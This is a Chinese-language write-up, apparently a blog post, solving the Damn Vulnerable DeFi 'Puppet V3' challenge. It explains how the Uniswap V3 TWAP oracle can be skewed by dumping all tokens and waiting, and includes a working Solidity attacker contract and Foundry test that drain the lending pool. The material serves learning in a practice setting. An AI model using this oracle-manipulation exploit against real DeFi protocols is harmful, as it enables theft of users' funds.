一、Puppet V3
背景:
Uniswap V3 池初始拥有 100e18 WETH 和 DVT。作为玩家,我们拥有 25e18 ETH 和 110e18 DVT。我们的目标是拿走借贷池中所有 10_000e18 DVT 代币,这需要抵押品 WETH 价值的 3 倍。
Uniswap V3 对 AMM 使用的公式与经典不同x * y = k,因为它旨在使用相同数量的代币提供更集中的流动性。
在 Uniswap V2 中,x或y永远不可能为零。
更具体地说,Uniswap V3 引入了集中流动性和新的定价公式。在增加流动性时,提供者还会指定一个价格范围。这使得系统能够通过将价格锚定在指定范围的边界上,而不是让其向零或无穷大延伸,从而在两种代币之间维持合理的价格——即使一种代币完全从池中移除。
攻击逻辑:
与 Puppet V2 类似,我们将所有 DVT 代币兑换成 WETH,以操纵价格预言机,使其认为 WETH 具有高价值。然后,我们使用少量 WETH 作为抵押,从借贷池中借入所有剩余的 DVT。
在 Uniswap V3 池中,slot0记录池的当前状态。tick其中的值slot0跟踪价格,并在每次交换完成后更新。
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}价格与tick之间的关系如下:
最小变动价位范围从MIN_TICK = -887272到MAX_TICK = 887272,对应的价格范围从 1 / 2¹²⁸ 到 2¹²⁸ (此处,token1为 WETH,token0为 DVT)。因此,价格和最小变动价位值越小,WETH 相对于 DVT 的价值就越高。
查询lendingPoolUniswap V3 池中的价格。如果你追踪函数调用,它会从consult流向observeSingle。
getQuoteAtTick 会将获取到的 tick 转换对应的 price
uint32 public constant TWAP_PERIOD = 10 minutes;
getQuoteAtTick 会将获取到的 tick 转换对应的 price
uint32 public constant TWAP_PERIOD = 10 minutes;
...
function _getOracleQuote(uint128 amount) private view returns (uint256) {
(int24 arithmeticMeanTick,) = OracleLibrary.consult({pool: address(uniswapV3Pool), secondsAgo: TWAP_PERIOD});
return OracleLibrary.getQuoteAtTick({
tick: arithmeticMeanTick,
baseAmount: amount,
baseToken: address(token),
quoteToken: address(weth)
});
}function observeSingle(
Observation[65535] storage self,
uint32 time,
uint32 secondsAgo,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality
) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {
unchecked {
if (secondsAgo == 0) {
Observation memory last = self[index];
if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);
return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);
}
...
}最后,arithmeticMeanTick(TWAP)是预言机返回的tick。
tickCumulative是当前时间的(即secondsAgo = 0)只是最新观察中记录的当前累积刻度值。
last.tickCumulative + int56(tick) * int56(uint56(delta)),由函数transform可知
function transform(
Observation memory last,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity
) private pure returns (Observation memory) {
unchecked {
uint32 delta = blockTimestamp - last.blockTimestamp;
return
Observation({
blockTimestamp: blockTimestamp,
tickCumulative: last.tickCumulative + int56(tick) * int56(uint56(delta)),
secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +
((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),
initialized: true
});
}
}即使last.tickCumulative为 0,我们也可以操纵 tick 为 -887272(这对应于非常高的 ETH 价格)。
因此,只要时间增量blockTimestamp — last.blockTimestamp很大,我们最终就会得到非常小的tickCumulative。
因此,我们的策略是先进行交换,投入所有 DVT 代币以提取所有 WETH。之后,我们会在挑战规定的 115 秒时间限制内尽可能长时间地等待(例如 100 秒)。
为了使当前时间的累计 tick 等于 -887272 × 100,我们将 600 秒前的累计 tick 设为 0,时间差为 600 秒。这样得到的 tick 值为 887272 / 6 = 147045。对应的价格为 1/1.0001¹⁴⁷⁰⁴⁵ =1 / 24309631,这个价格足够低,我们只需少量 WETH 即可兑换所有 DVT 代币。
总而言之,我们的解决方案是:
- 我们换出
100e18DVT 代币。由于所有 WETH 都已换出,因此 tick 值移动到 -887272。因此,tick 值移动到了最小可能值的左端。 - 等待 100 秒,让价格预言机整合第一次掉期的价格信息。请注意,等待时间越长,预言机受掉期机制操纵价格的影响就越大。(不过,挑战设置了大约 115 秒的总时间限制。)
- 该
swap函数要求调用者实现特定的回调函数。这就是为什么我们需要使用合约(Attacker.sol)来执行兑换,而不是使用玩家的账户。
function test_puppetV3() public checkSolvedByPlayer {
IUniswapV3Pool uniswapPool = IUniswapV3Pool(uniswapFactory.getPool(address(token), address(weth), FEE));
Attacker attacker = new Attacker(uniswapPool, token, lendingPool, weth, player);
token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);
attacker.attack(-999e17);
vm.warp(block.timestamp + 12);
attacker.attack(-1e17);
vm.warp(block.timestamp + 100);
weth.approve(address(lendingPool), weth.balanceOf(player));
lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);
}contract Attacker {
IUniswapV3Pool uniswapPool;
DamnValuableToken token;
PuppetV3Pool lendingPool;
WETH weth;
address player;
constructor(
IUniswapV3Pool _uniswapPool,
DamnValuableToken _token,
PuppetV3Pool _lendingPool,
WETH _weth,
address _player
) {
uniswapPool = _uniswapPool;
token = _token;
lendingPool = _lendingPool;
weth = _weth;
player = _player;
}
function attack(int256 amount) external {
uniswapPool.swap(player, true, amount, TickMath.MIN_SQRT_RATIO + 1, "");
}
function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes memory) external {
if (amount0 > 0) {
token.transfer(address(uniswapPool), uint256(amount0));
}
if (amount1 > 0) {
weth.transfer(address(uniswapPool), uint256(amount1));
}
}
}
评论 (0)